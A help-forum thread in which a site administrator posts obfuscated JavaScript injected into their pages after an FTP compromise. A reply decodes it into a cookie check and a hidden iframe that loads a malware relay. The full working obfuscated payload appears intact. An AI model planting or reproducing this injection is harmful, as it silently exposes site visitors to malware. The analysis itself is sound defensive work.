Thread: Help With deciphering Code...

Hello Cafe Members,

Let me start off by sayign I'm not a Java coder and not profecient with Coding at all. I admin a few websites and do HTML mostly. I recently was advised that the FTP password was compromised on a site and when looking at the HTML, all the files were injected with this code (Also Attached)...

<!--0c0896--><script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          sp="split";w=window;aq="0"+"x";ff=String;z="y";ff=ff.fromCharCode;try{document["\x62od"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,67,5d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,67,5d,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,62,66,6c,6a,66,60,65,69,70,66,25,65,5c,6b,26,69,5c,63,58,70,25,67,5f,67,1e,32,4,1,17,67,5d,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,67,5d,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,67,5d,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,67,5d,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,67,5d,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,67,5d,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,67,5d,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,67,5d,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,67,5d,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,67,5d,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1305!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}za=e;za(s)}</script><!--/0c0896-->

I'm trying to figure out exactly what it does and the potential damage. Thanks to any that are willing to help.

Originally Posted by KevinWorkman

Java and javascript are completely different, but I recommend giving this a read: Beating JavaScript obfuscators with Firebug

Thank you for the direction, its a great start

This is a exploit that has been going around for a couple weeks. Notice the '0c0896' (the hackers "tag"). You can search "0c0896 hack" online for more forum posts and information.

Hard to read code all on one line (that was the intent)

So using jsbeautifier

We get:

sp = "split";
w = window;
aq = "0" + "x";
ff = String;
z = "y";
ff = ff.fromCharCode;
try {
    document["\x62od" + z] ^= ~1;
} catch (d21vd12v) {
    v = 123;
    vzs = false;
    try {
        document;
    } catch (wb) {
        vzs = 2;
    }
    if (!vzs) e = w["eval"];
    if (1) {
        f = "17,5d,6c,65,5a,6b,60,...,4,1,74,4,1" [sp](",");
    }
    w = f;
    s = [];
    for (i = 2 - 2; - i + 1305 != 0; i += 1) {
        j = i;
        if ((031 == 0x19))
            if (e) s = s + ff(e(aq + (w[j])) + 9);
    }
    za = e;
    za(s)
}

Now this is pretty easy to decipher. Mainly we replace all the variables back and instead of executing the window["eval"] we just paste the string using document.write and paste it between some <pre> tags

function zzzfff() {
    var pf = document.createElement('iframe');
 
    pf.src = '--REMOVED--';
    pf.style.position = 'absolute';
    pf.style.border = '0';
    pf.style.height = '1px';
    pf.style.width = '1px';
    pf.style.left = '1px';
    pf.style.top = '1px';
 
    if (!document.getElementById('pf')) {
        document.write('
');
        document.getElementById('pf').appendChild(pf);
    }
}
 
function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
 
function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) &&
        (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {} else {
        SetCookie('visited_uq', '55', '1', '/');
 
        zzzfff();
    }
}

So it sets a cookie, and visits the URL for the site: "kousoinryo dot net slash relay dot php" listed above (and removed) but I don't advise visiting the site. It will attempt to install malware. It also acts as a "counter" for the hacker to keep track of what browsers, IPs, and referrers he is getting.